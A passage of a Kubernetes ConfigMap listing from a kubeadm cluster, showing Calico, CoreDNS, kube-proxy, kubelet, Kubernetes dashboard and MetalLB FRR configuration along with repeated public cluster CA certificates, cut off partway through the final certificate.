        {"apiVersion":"v1","data":{"calico_backend":"bird","cni_network_config":"{\n  \"name\": \"k8s-pod-network\",\n  \"cniVersion\": \"0.3.1\",\n  \"plugins\": [\n    {\n      \"type\": \"calico\",\n      \"log_level\": \"info\",\n      \"log_file_path\": \"/var/log/calico/cni/cni.log\",\n      \"datastore_type\": \"kubernetes\",\n      \"nodename\": \"__KUBERNETES_NODE_NAME__\",\n      \"mtu\": __CNI_MTU__,\n      \"ipam\": {\n          \"type\": \"calico-ipam\"\n      },\n      \"policy\": {\n          \"type\": \"k8s\"\n      },\n      \"kubernetes\": {\n          \"kubeconfig\": \"__KUBECONFIG_FILEPATH__\"\n      }\n    },\n    {\n      \"type\": \"portmap\",\n      \"snat\": true,\n      \"capabilities\": {\"portMappings\": true}\n    },\n    {\n      \"type\": \"bandwidth\",\n      \"capabilities\": {\"bandwidth\": true}\n    }\n  ]\n}","typha_service_name":"none","veth_mtu":"0"},"kind":"ConfigMap","metadata":{"annotations":{},"name":"calico-config","namespace":"kube-system"}}
    creationTimestamp: "2025-09-21T11:09:50Z"
    name: calico-config
    namespace: kube-system
    resourceVersion: "2823"
    uid: 06d7b72e-8078-49f0-afe6-fbb777a7aa6d
- apiVersion: v1
  data:
    Corefile: |
      .:53 {
          errors
          health {
             lameduck 5s
          }
          ready
          kubernetes cluster.local in-addr.arpa ip6.arpa {
             pods insecure
             fallthrough in-addr.arpa ip6.arpa
             ttl 30
          }
          prometheus :9153
          forward . /etc/resolv.conf {
             max_concurrent 1000
          }
          cache 30 {
             disable success cluster.local
             disable denial cluster.local
          }
          loop
          reload
          loadbalance
      }
  kind: ConfigMap
  metadata:
    creationTimestamp: "2025-09-21T11:09:19Z"
    name: coredns
    namespace: kube-system
    resourceVersion: "266"
    uid: 46352ea1-315c-4f69-9cb9-101dc2ce63c6
- apiVersion: v1
  data:
    client-ca-file: |
      -----BEGIN CERTIFICATE-----
      MIIDBTCCAe2gAwIBAgIILYfYFFPDH9UwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
      AxMKa3ViZXJuZXRlczAeFw0yNTA5MjExMTA0MDVaFw0zNTA5MTkxMTA5MDVaMBUx
      EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
      AoIBAQC/IDgp2zaND13k0TSACXzekaWU/m3lrD1rWGNxd3YtrT8cJ5c7aeznF/1Y
      xuHY1CNPWCaTIZAZZsCYFeHehI0vmwpgiBHyHP9u0WhjaZFAcrNeVg2q5s7IvJIl
      itdD2vGrfbs2gCGAtfz33WqjSixZTcAugdBAn7pwc6MM3P5g8egkGLzgz4bFFAcO
      J8eRYjApBVbaUN1Z+zN/bllAZXzmH8p4GUMOVZnzxyB+efi7tqgtBQx6tkcPCTEb
      5ATFzBJV2HRPqUx43Bt9fY+Vlvnrm2iAeE2OLhqD+8VRleuoJlbZIKyYK9duv7te
      jwobpsol/32aw7oaaS0J4uEiJGY9AgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
      BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJ+hhqUXWmyp8Cmb97ddMr/eZFeDAV
      BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAWNdMwXo1+
      8MkcGdwmMYIVV5yoi42JVgacZVgO0gXhBeWoTJ4V/ANpULdz8ZsFxZdkBWlOsMxj
      uvM0CJwpkv9gZS4ESoOTkELf5FLwbcP/7wVk7bRQAu1fBv4/LWQwEZt4AF9EIfqs
      XjuPzBoYvol/BWt63QbQ9BsqtzU1U3nVr/mwu2CKFj/JLTTkeeYRVpdCBUI/yG/F
      exJOerAxZNqtVxeLuI704gD4Qvm87OoAJzXnwKdp9wYp7/LlNe4ytZ5l1It8jvWo
      UBerksePljlsl+vc7j7Bx92TeHM4tl3hU/0FmQZVOTP6mD5eCTJNknKW5b9R+zfq
      fypZaRe88KkA
      -----END CERTIFICATE-----
    requestheader-allowed-names: '["front-proxy-client"]'
    requestheader-client-ca-file: |
      -----BEGIN CERTIFICATE-----
      MIIDETCCAfmgAwIBAgIIUZ3lKjx1kRUwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UE
      AxMOZnJvbnQtcHJveHktY2EwHhcNMjUwOTIxMTEwNDA1WhcNMzUwOTE5MTEwOTA1
      WjAZMRcwFQYDVQQDEw5mcm9udC1wcm94eS1jYTCCASIwDQYJKoZIhvcNAQEBBQAD
      ggEPADCCAQoCggEBALGXuELxFQen0mmzXTFlXK9BDiynWJjktNKmWef70YDT2mp7
      QYk7H6ImKGTrH2+x9ZoBQdp4mdUVYf192Lxdzg8ZFTIGl7zLwPrBLaV/ZZVqnQlK
      zWR63T2MX1iQS2XWTWnJKgqQs06ngZAmmbmki7DYPPzVtbmHSoaHPSKCuttt8jMp
      v/LBb5SSOypuTdn5PXBEb8BlGX/WUDMXVxUG4c0RtO2koEdjOmEK/QWNkJ02z8l+
      hD/XlrF4+84CJ9j09g1OFwkR7wdyFXZbum/bU9Kj3hoX6px2FvV12ITjYYXuStTX
      A4DE1vM5sv/O9MlqDPjJgpaqbaVVTeeZvQLkImcCAwEAAaNdMFswDgYDVR0PAQH/
      BAQDAgKkMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFGgNkLoBAKkeKd3/7Hvy
      Lt6bbGdJMBkGA1UdEQQSMBCCDmZyb250LXByb3h5LWNhMA0GCSqGSIb3DQEBCwUA
      A4IBAQA1GR4l9qbTvz/T66q8ieEZ869TUrqBbo4uImuosVdLXTYhk+YMidNxtcFv
      UeOJ95ydZa2RFbUdZuXV6PGxvWP1hcdUoflw3m8vYYAfwkdMKoFSy5DG6tujNhmw
      782J2o+eQBsrXJAy7yKG5q/8Is/pTGq+YuDsNlRi+og9cTH1v58kl80090QUp7hr
      wN3gNPxrwK6quXwJAQdwkoIJO0ocfnep3DFvxCyh4i+e1FLuYKxvS+eFxIKnYcn+
      K95lWvRFDD5UK9rSYfEleISirZvGI9GL5aHqVRGtr20a5dq1lyGhjhiyBpJ7nbvx
      sj8sArlSvfwONcQJNF3AxYfjohsA
      -----END CERTIFICATE-----
    requestheader-extra-headers-prefix: '["X-Remote-Extra-"]'
    requestheader-group-headers: '["X-Remote-Group"]'
    requestheader-username-headers: '["X-Remote-User"]'
  kind: ConfigMap
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    name: extension-apiserver-authentication
    namespace: kube-system
    resourceVersion: "32"
    uid: 5750d293-83db-4325-9156-dc2d0a36a93e
- apiVersion: v1
  data:
    since: "2025-09-21"
  kind: ConfigMap
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    name: kube-apiserver-legacy-service-account-token-tracking
    namespace: kube-system
    resourceVersion: "20"
    uid: 0658abc5-0e72-4fb1-b42d-7a10fc8c6e19
- apiVersion: v1
  data:
    config.conf: |-
      apiVersion: kubeproxy.config.k8s.io/v1alpha1
      bindAddress: 0.0.0.0
      bindAddressHardFail: false
      clientConnection:
        acceptContentTypes: ""
        burst: 0
        contentType: ""
        kubeconfig: /var/lib/kube-proxy/kubeconfig.conf
        qps: 0
      clusterCIDR: 192.168.0.0/16
      configSyncPeriod: 0s
      conntrack:
        maxPerCore: null
        min: null
        tcpBeLiberal: false
        tcpCloseWaitTimeout: null
        tcpEstablishedTimeout: null
        udpStreamTimeout: 0s
        udpTimeout: 0s
      detectLocal:
        bridgeInterface: ""
        interfaceNamePrefix: ""
      detectLocalMode: ""
      enableProfiling: false
      healthzBindAddress: ""
      hostnameOverride: ""
      iptables:
        localhostNodePorts: null
        masqueradeAll: false
        masqueradeBit: null
        minSyncPeriod: 0s
        syncPeriod: 0s
      ipvs:
        excludeCIDRs: null
        minSyncPeriod: 0s
        scheduler: ""
        strictARP: true
        syncPeriod: 0s
        tcpFinTimeout: 0s
        tcpTimeout: 0s
        udpTimeout: 0s
      kind: KubeProxyConfiguration
      logging:
        flushFrequency: 0
        options:
          json:
            infoBufferSize: "0"
          text:
            infoBufferSize: "0"
        verbosity: 0
      metricsBindAddress: ""
      mode: "ipvs"
      nftables:
        masqueradeAll: false
        masqueradeBit: null
        minSyncPeriod: 0s
        syncPeriod: 0s
      nodePortAddresses: null
      oomScoreAdj: null
      portRange: ""
      showHiddenMetricsForVersion: ""
      winkernel:
        enableDSR: false
        forwardHealthCheckVip: false
        networkName: ""
        rootHnsEndpointName: ""
        sourceVip: ""
    kubeconfig.conf: |-
      apiVersion: v1
      kind: Config
      clusters:
      - cluster:
          certificate-authority: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
          server: https://172.16.30.250:6443
        name: default
      contexts:
      - context:
          cluster: default
          namespace: default
          user: default
        name: default
      current-context: default
      users:
      - name: default
        user:
          tokenFile: /var/run/secrets/kubernetes.io/serviceaccount/token
  kind: ConfigMap
  metadata:
    annotations:
      kubeadm.kubernetes.io/component-config.hash: sha256:0a38a21f88be0989255641b4b3fe271007ce4e151652a3976bcb103e256638e0
    creationTimestamp: "2025-09-21T11:09:19Z"
    labels:
      app: kube-proxy
    name: kube-proxy
    namespace: kube-system
    resourceVersion: "55482"
    uid: f4119583-bf1b-4c84-8b96-0e31a5d376b9
- apiVersion: v1
  data:
    ca.crt: |
      -----BEGIN CERTIFICATE-----
      MIIDBTCCAe2gAwIBAgIILYfYFFPDH9UwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
      AxMKa3ViZXJuZXRlczAeFw0yNTA5MjExMTA0MDVaFw0zNTA5MTkxMTA5MDVaMBUx
      EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
      AoIBAQC/IDgp2zaND13k0TSACXzekaWU/m3lrD1rWGNxd3YtrT8cJ5c7aeznF/1Y
      xuHY1CNPWCaTIZAZZsCYFeHehI0vmwpgiBHyHP9u0WhjaZFAcrNeVg2q5s7IvJIl
      itdD2vGrfbs2gCGAtfz33WqjSixZTcAugdBAn7pwc6MM3P5g8egkGLzgz4bFFAcO
      J8eRYjApBVbaUN1Z+zN/bllAZXzmH8p4GUMOVZnzxyB+efi7tqgtBQx6tkcPCTEb
      5ATFzBJV2HRPqUx43Bt9fY+Vlvnrm2iAeE2OLhqD+8VRleuoJlbZIKyYK9duv7te
      jwobpsol/32aw7oaaS0J4uEiJGY9AgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
      BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJ+hhqUXWmyp8Cmb97ddMr/eZFeDAV
      BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAWNdMwXo1+
      8MkcGdwmMYIVV5yoi42JVgacZVgO0gXhBeWoTJ4V/ANpULdz8ZsFxZdkBWlOsMxj
      uvM0CJwpkv9gZS4ESoOTkELf5FLwbcP/7wVk7bRQAu1fBv4/LWQwEZt4AF9EIfqs
      XjuPzBoYvol/BWt63QbQ9BsqtzU1U3nVr/mwu2CKFj/JLTTkeeYRVpdCBUI/yG/F
      exJOerAxZNqtVxeLuI704gD4Qvm87OoAJzXnwKdp9wYp7/LlNe4ytZ5l1It8jvWo
      UBerksePljlsl+vc7j7Bx92TeHM4tl3hU/0FmQZVOTP6mD5eCTJNknKW5b9R+zfq
      fypZaRe88KkA
      -----END CERTIFICATE-----
  kind: ConfigMap
  metadata:
    annotations:
      kubernetes.io/description: Contains a CA bundle that can be used to verify the
        kube-apiserver when using internal endpoints such as the internal service
        IP or kubernetes.default.svc. No other usage is guaranteed across distributions
        of Kubernetes clusters.
    creationTimestamp: "2025-09-21T11:09:25Z"
    name: kube-root-ca.crt
    namespace: kube-system
    resourceVersion: "376"
    uid: 8101a2d0-6069-486f-bbdf-6875bac88435
- apiVersion: v1
  data:
    ClusterConfiguration: |
      apiServer: {}
      apiVersion: kubeadm.k8s.io/v1beta4
      caCertificateValidityPeriod: 87600h0m0s
      certificateValidityPeriod: 8760h0m0s
      certificatesDir: /etc/kubernetes/pki
      clusterName: kubernetes
      controlPlaneEndpoint: 172.16.30.250:6443
      controllerManager: {}
      dns: {}
      encryptionAlgorithm: RSA-2048
      etcd:
        local:
          dataDir: /var/lib/etcd
      imageRepository: registry.k8s.io
      kind: ClusterConfiguration
      kubernetesVersion: v1.33.5
      networking:
        dnsDomain: cluster.local
        podSubnet: 192.168.0.0/16
        serviceSubnet: 10.96.0.0/12
      proxy: {}
      scheduler: {}
  kind: ConfigMap
  metadata:
    creationTimestamp: "2025-09-21T11:09:18Z"
    name: kubeadm-config
    namespace: kube-system
    resourceVersion: "245"
    uid: f7c6ca62-54da-419d-ac1a-8cc2bbc84516
- apiVersion: v1
  data:
    kubelet: |
      apiVersion: kubelet.config.k8s.io/v1beta1
      authentication:
        anonymous:
          enabled: false
        webhook:
          cacheTTL: 0s
          enabled: true
        x509:
          clientCAFile: /etc/kubernetes/pki/ca.crt
      authorization:
        mode: Webhook
        webhook:
          cacheAuthorizedTTL: 0s
          cacheUnauthorizedTTL: 0s
      cgroupDriver: systemd
      clusterDNS:
      - 10.96.0.10
      clusterDomain: cluster.local
      containerRuntimeEndpoint: ""
      cpuManagerReconcilePeriod: 0s
      crashLoopBackOff: {}
      evictionPressureTransitionPeriod: 0s
      fileCheckFrequency: 0s
      healthzBindAddress: 127.0.0.1
      healthzPort: 10248
      httpCheckFrequency: 0s
      imageMaximumGCAge: 0s
      imageMinimumGCAge: 0s
      kind: KubeletConfiguration
      logging:
        flushFrequency: 0
        options:
          json:
            infoBufferSize: "0"
          text:
            infoBufferSize: "0"
        verbosity: 0
      memorySwap: {}
      nodeStatusReportFrequency: 0s
      nodeStatusUpdateFrequency: 0s
      rotateCertificates: true
      runtimeRequestTimeout: 0s
      shutdownGracePeriod: 0s
      shutdownGracePeriodCriticalPods: 0s
      staticPodPath: /etc/kubernetes/manifests
      streamingConnectionIdleTimeout: 0s
      syncFrequency: 0s
      volumeStatsAggPeriod: 0s
  kind: ConfigMap
  metadata:
    annotations:
      kubeadm.kubernetes.io/component-config.hash: sha256:26488e9fc7c5cb5fdda9996cda2e6651a9af5febce07ea02de11bd3ef3f49e9c
    creationTimestamp: "2025-09-21T11:09:18Z"
    name: kubelet-config
    namespace: kube-system
    resourceVersion: "248"
    uid: 93e3e73e-e94a-42cf-905f-41201e98ef5e
- apiVersion: v1
  data:
    kong.yml: |
      _format_version: "3.0"
      services:
        - name: auth
          host: kubernetes-dashboard-auth
          port: 8000
          protocol: http
          routes:
            - name: authLogin
              paths:
                - /api/v1/login
              strip_path: false
            - name: authCsrf
              paths:
                - /api/v1/csrftoken/login
              strip_path: false
            - name: authMe
              paths:
                - /api/v1/me
              strip_path: false
        - name: api
          host: kubernetes-dashboard-api
          port: 8000
          protocol: http
          routes:
            - name: api
              paths:
                - /api
              strip_path: false
            - name: metrics
              paths:
                - /metrics
              strip_path: false
        - name: web
          host: kubernetes-dashboard-web
          port: 8000
          protocol: http
          routes:
            - name: root
              paths:
                - /
              strip_path: false
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/part-of: kubernetes-dashboard
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kong-dbless-config
    namespace: kubernetes-dashboard
    resourceVersion: "417219"
    uid: dbd19aee-06b3-4fbc-996d-c56112d90090
- apiVersion: v1
  data:
    ca.crt: |
      -----BEGIN CERTIFICATE-----
      MIIDBTCCAe2gAwIBAgIILYfYFFPDH9UwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
      AxMKa3ViZXJuZXRlczAeFw0yNTA5MjExMTA0MDVaFw0zNTA5MTkxMTA5MDVaMBUx
      EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
      AoIBAQC/IDgp2zaND13k0TSACXzekaWU/m3lrD1rWGNxd3YtrT8cJ5c7aeznF/1Y
      xuHY1CNPWCaTIZAZZsCYFeHehI0vmwpgiBHyHP9u0WhjaZFAcrNeVg2q5s7IvJIl
      itdD2vGrfbs2gCGAtfz33WqjSixZTcAugdBAn7pwc6MM3P5g8egkGLzgz4bFFAcO
      J8eRYjApBVbaUN1Z+zN/bllAZXzmH8p4GUMOVZnzxyB+efi7tqgtBQx6tkcPCTEb
      5ATFzBJV2HRPqUx43Bt9fY+Vlvnrm2iAeE2OLhqD+8VRleuoJlbZIKyYK9duv7te
      jwobpsol/32aw7oaaS0J4uEiJGY9AgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
      BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJ+hhqUXWmyp8Cmb97ddMr/eZFeDAV
      BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAWNdMwXo1+
      8MkcGdwmMYIVV5yoi42JVgacZVgO0gXhBeWoTJ4V/ANpULdz8ZsFxZdkBWlOsMxj
      uvM0CJwpkv9gZS4ESoOTkELf5FLwbcP/7wVk7bRQAu1fBv4/LWQwEZt4AF9EIfqs
      XjuPzBoYvol/BWt63QbQ9BsqtzU1U3nVr/mwu2CKFj/JLTTkeeYRVpdCBUI/yG/F
      exJOerAxZNqtVxeLuI704gD4Qvm87OoAJzXnwKdp9wYp7/LlNe4ytZ5l1It8jvWo
      UBerksePljlsl+vc7j7Bx92TeHM4tl3hU/0FmQZVOTP6mD5eCTJNknKW5b9R+zfq
      fypZaRe88KkA
      -----END CERTIFICATE-----
  kind: ConfigMap
  metadata:
    annotations:
      kubernetes.io/description: Contains a CA bundle that can be used to verify the
        kube-apiserver when using internal endpoints such as the internal service
        IP or kubernetes.default.svc. No other usage is guaranteed across distributions
        of Kubernetes clusters.
    creationTimestamp: "2025-09-23T09:56:13Z"
    name: kube-root-ca.crt
    namespace: kubernetes-dashboard
    resourceVersion: "413068"
    uid: 5297e17d-9949-41dd-b90d-3a4057df3687
- apiVersion: v1
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/part-of: kubernetes-dashboard
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-web-settings
    namespace: kubernetes-dashboard
    resourceVersion: "417220"
    uid: 5dcdad54-fbc4-4d8e-9078-4de5103001cc
- apiVersion: v1
  data:
    ca.crt: |
      -----BEGIN CERTIFICATE-----
      MIIDBTCCAe2gAwIBAgIILYfYFFPDH9UwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
      AxMKa3ViZXJuZXRlczAeFw0yNTA5MjExMTA0MDVaFw0zNTA5MTkxMTA5MDVaMBUx
      EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
      AoIBAQC/IDgp2zaND13k0TSACXzekaWU/m3lrD1rWGNxd3YtrT8cJ5c7aeznF/1Y
      xuHY1CNPWCaTIZAZZsCYFeHehI0vmwpgiBHyHP9u0WhjaZFAcrNeVg2q5s7IvJIl
      itdD2vGrfbs2gCGAtfz33WqjSixZTcAugdBAn7pwc6MM3P5g8egkGLzgz4bFFAcO
      J8eRYjApBVbaUN1Z+zN/bllAZXzmH8p4GUMOVZnzxyB+efi7tqgtBQx6tkcPCTEb
      5ATFzBJV2HRPqUx43Bt9fY+Vlvnrm2iAeE2OLhqD+8VRleuoJlbZIKyYK9duv7te
      jwobpsol/32aw7oaaS0J4uEiJGY9AgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
      BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJ+hhqUXWmyp8Cmb97ddMr/eZFeDAV
      BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAWNdMwXo1+
      8MkcGdwmMYIVV5yoi42JVgacZVgO0gXhBeWoTJ4V/ANpULdz8ZsFxZdkBWlOsMxj
      uvM0CJwpkv9gZS4ESoOTkELf5FLwbcP/7wVk7bRQAu1fBv4/LWQwEZt4AF9EIfqs
      XjuPzBoYvol/BWt63QbQ9BsqtzU1U3nVr/mwu2CKFj/JLTTkeeYRVpdCBUI/yG/F
      exJOerAxZNqtVxeLuI704gD4Qvm87OoAJzXnwKdp9wYp7/LlNe4ytZ5l1It8jvWo
      UBerksePljlsl+vc7j7Bx92TeHM4tl3hU/0FmQZVOTP6mD5eCTJNknKW5b9R+zfq
      fypZaRe88KkA
      -----END CERTIFICATE-----
  kind: ConfigMap
  metadata:
    annotations:
      kubernetes.io/description: Contains a CA bundle that can be used to verify the
        kube-apiserver when using internal endpoints such as the internal service
        IP or kubernetes.default.svc. No other usage is guaranteed across distributions
        of Kubernetes clusters.
    creationTimestamp: "2025-09-21T18:13:53Z"
    name: kube-root-ca.crt
    namespace: metallb-system
    resourceVersion: "57840"
    uid: 65cb2889-2267-4852-ad7e-0d63ce00a309
- apiVersion: v1
  data:
    excludel2.yaml: |
      announcedInterfacesToExclude:
      - ^docker.*
      - ^cbr.*
      - ^dummy.*
      - ^virbr.*
      - ^lxcbr.*
      - ^veth.*
      - ^lo$
      - ^cali.*
      - ^tunl.*
      - ^flannel.*
      - ^kube-ipvs.*
      - ^cni.*
      - ^nodelocaldns.*
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    labels:
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metallb
      app.kubernetes.io/version: v0.15.2
      helm.sh/chart: metallb-0.15.2
    name: metallb-excludel2
    namespace: metallb-system
    resourceVersion: "57844"
    uid: 211661f1-41d0-45f1-a950-e8ecde315fd0
- apiVersion: v1
  data:
    daemons: |
      # This file tells the frr package which daemons to start.
      #
      # Sample configurations for these daemons can be found in
      # /usr/share/doc/frr/examples/.
      #
      # ATTENTION:
      #
      # When activating a daemon for the first time, a config file, even if it is
      # empty, has to be present *and* be owned by the user and group "frr", else
      # the daemon will not be started by /etc/init.d/frr. The permissions should
      # be u=rw,g=r,o=.
      # When using "vtysh" such a config file is also needed. It should be owned by
      # group "frrvty" and set to ug=rw,o= though. Check /etc/pam.d/frr, too.
      #
      # The watchfrr and zebra daemons are always started.
      #
      bgpd=yes
      ospfd=no
      ospf6d=no
      ripd=no
      ripngd=no
      isisd=no
      pimd=no
      ldpd=no
      nhrpd=no
      eigrpd=no
      babeld=no
      sharpd=no
      pbrd=no
      bfdd=yes
      fabricd=no
      vrrpd=no

      #
      # If this option is set the /etc/init.d/frr script automatically loads
      # the config via "vtysh -b" when the servers are started.
      # Check /etc/pam.d/frr if you intend to use "vtysh"!
      #
      vtysh_enable=yes
      zebra_options="  -A 127.0.0.1 -s 90000000 --limit-fds 100000"
      bgpd_options="   -A 127.0.0.1 -p 0 --limit-fds 100000"
      ospfd_options="  -A 127.0.0.1"
      ospf6d_options=" -A ::1"
      ripd_options="   -A 127.0.0.1"
      ripngd_options=" -A ::1"
      isisd_options="  -A 127.0.0.1"
      pimd_options="   -A 127.0.0.1"
      ldpd_options="   -A 127.0.0.1"
      nhrpd_options="  -A 127.0.0.1"
      eigrpd_options=" -A 127.0.0.1"
      babeld_options=" -A 127.0.0.1"
      sharpd_options=" -A 127.0.0.1"
      pbrd_options="   -A 127.0.0.1"
      staticd_options="-A 127.0.0.1 --limit-fds 100000"
      bfdd_options="   -A 127.0.0.1 --limit-fds 100000"
      fabricd_options="-A 127.0.0.1"
      vrrpd_options="  -A 127.0.0.1"

      # configuration profile
      #
      #frr_profile="traditional"
      #frr_profile="datacenter"

      #
      # This is the maximum number of FD's that will be available.
      # Upon startup this is read by the control files and ulimit
      # is called. Uncomment and use a reasonable value for your
      # setup if you are expecting a large number of peers in
      # say BGP.
      #MAX_FDS=1024

      # The list of daemons to watch is automatically generated by the init script.
      #watchfrr_options=""

      # for debugging purposes, you can specify a "wrap" command to start instead
      # of starting the daemon directly, e.g. to use valgrind on ospfd:
      #   ospfd_wrap="/usr/bin/valgrind"
      # or you can use "all_wrap" for all daemons, e.g. to use perf record:
      #   all_wrap="/usr/bin/perf record --call-graph -"
      # the normal daemon command is added to this at the end.
    frr.conf: |
      ! This file gets overriden the first time the speaker renders a config.
      ! So anything configured here is only temporary.
      frr version 8.0
      frr defaults traditional
      hostname Router
      line vty
      log file /etc/frr/frr.log informational
    vtysh.conf: |
      service integrated-vtysh-config
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    labels:
      app.kubernetes.io/component: speaker
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metallb
      app.kubernetes.io/version: v0.15.2
      helm.sh/chart: metallb-0.15.2
    name: metallb-frr-startup
    namespace: metallb-system
    resourceVersion: "57843"
    uid: 8f4e8bd4-8fed-462b-a836-a33c0e570b25
- apiVersion: v1
  data:
    ca.crt: |
      -----BEGIN CERTIFICATE-----
      MIIDBTCCAe2gAwIBAgIILYfYFFPDH9UwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
      AxMKa3ViZXJuZXRlczAeFw0yNTA5MjExMTA0MDVaFw0zNTA5MTkxMTA5MDVaMBUx
      EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
      AoIBAQC/IDgp2zaND13k0TSACXzekaWU/m3lrD1rWGNxd3YtrT8cJ5c7aeznF/1Y
      xuHY1CNPWCaTIZAZZsCYFeHehI0vmwpgiBHyHP9u0WhjaZFAcrNeVg2q5s7IvJIl
      itdD2vGrfbs2gCGAtfz33WqjSixZTcAugdBAn7pwc6MM3P5g8egkGLzgz4bFFAcO
      J8eRYjApBVbaUN1Z+zN/bllAZXzmH8p4GUMOVZnzxyB+efi7tqgtBQx6tkcPCTEb
      5ATFzBJV2HRPqUx43Bt9fY+Vlvnrm2iAeE2OLhqD+8VRleuoJlbZIKyYK9duv7te
      jwobpsol/32aw7oaaS0J4uEiJGY9AgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
      BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJ+hhqUXWmyp8Cmb97ddMr/eZFeDAV
      BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAWNdMwXo1+
      8MkcGdwmMYIVV5yoi42JVgacZVgO0gXhBeWoTJ4V/ANpULdz8ZsFxZdkBWlOsMxj
      uvM0CJwpkv9gZS4ESoOTkELf5FLwbcP/7wVk7bRQAu1fBv4/LWQwEZt4AF9EIfqs
      XjuPzBoYvol/BWt63QbQ9BsqtzU1U3nVr/mwu2CKFj/JLTTkeeYRVpdCBUI/yG/F
      exJOerAxZNqtVxeLuI704gD4Qvm87OoAJzXnwKdp9wYp7/LlNe4ytZ5l1It8jvWo
      UBerksePljlsl+vc7j7Bx92TeHM4tl3hU/0FmQZVOTP6mD5eCTJNknKW5b9R+zfq
      fypZaRe88KkA
      -----END CERTIFICATE-----
  kind: ConfigMap
  metadata:
    annotations:
      kubernetes.io/description: Contains a CA bundle that can be used to verify the
        kube-apiserver when using internal endpoints such as the internal service
        IP or kubernetes.default.svc. No other usage is guaranteed across distributions
        of Kubernetes clusters.
    creationTimestamp: "2025-09-22T18:30:49Z"
    name: kube-root-ca.crt
    namespace: metrics-server
    resourceVersion: "266984"
    uid: 39bfb55c-7d1e-4f11-9413-3cb67be6d25c
- apiVersion: v1
  data:
    ca.crt: |
      -----BEGIN CERTIFICATE-----
      MIIDBTCCAe2gAwIBAgIILYfYFFPDH9UwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
      AxMKa3ViZXJuZXRlczAeFw0yNTA5MjExMTA0MDVaFw0zNTA5MTkxMTA5MDVaMBUx
      EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
      AoIBAQC/IDgp2zaND13k0TSACXzekaWU/m3lrD1rWGNxd3YtrT8cJ5c7aeznF/1Y
      xuHY1CNPWCaTIZAZZsCYFeHehI0vmwpgiBHyHP9u0WhjaZFAcrNeVg2q5s7IvJIl
      itdD2vGrfbs2gCGAtfz33WqjSixZTcAugdBAn7pwc6MM3P5g8egkGLzgz4bFFAcO
      J8eRYjApBVbaUN1Z+zN/bllAZXzmH8p4GUMOVZnzxyB+efi7tqgtBQx6tkcPCTEb
      5ATFzBJV2HRPqUx43Bt9fY+Vlvnrm2iAeE2OLhqD+8VRleuoJlbZIKyYK9duv7te
      jwobpsol/32aw7oaaS0J4uEiJGY9AgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
      BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJ+hhqUXWmyp8Cmb97ddMr/eZFeDAV
      BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAWNdMwXo1+
      8MkcGdwmMYIVV5yoi42JVgacZVgO0gXhBeWoTJ4V/ANpULdz8ZsFxZdkBWlOsMxj
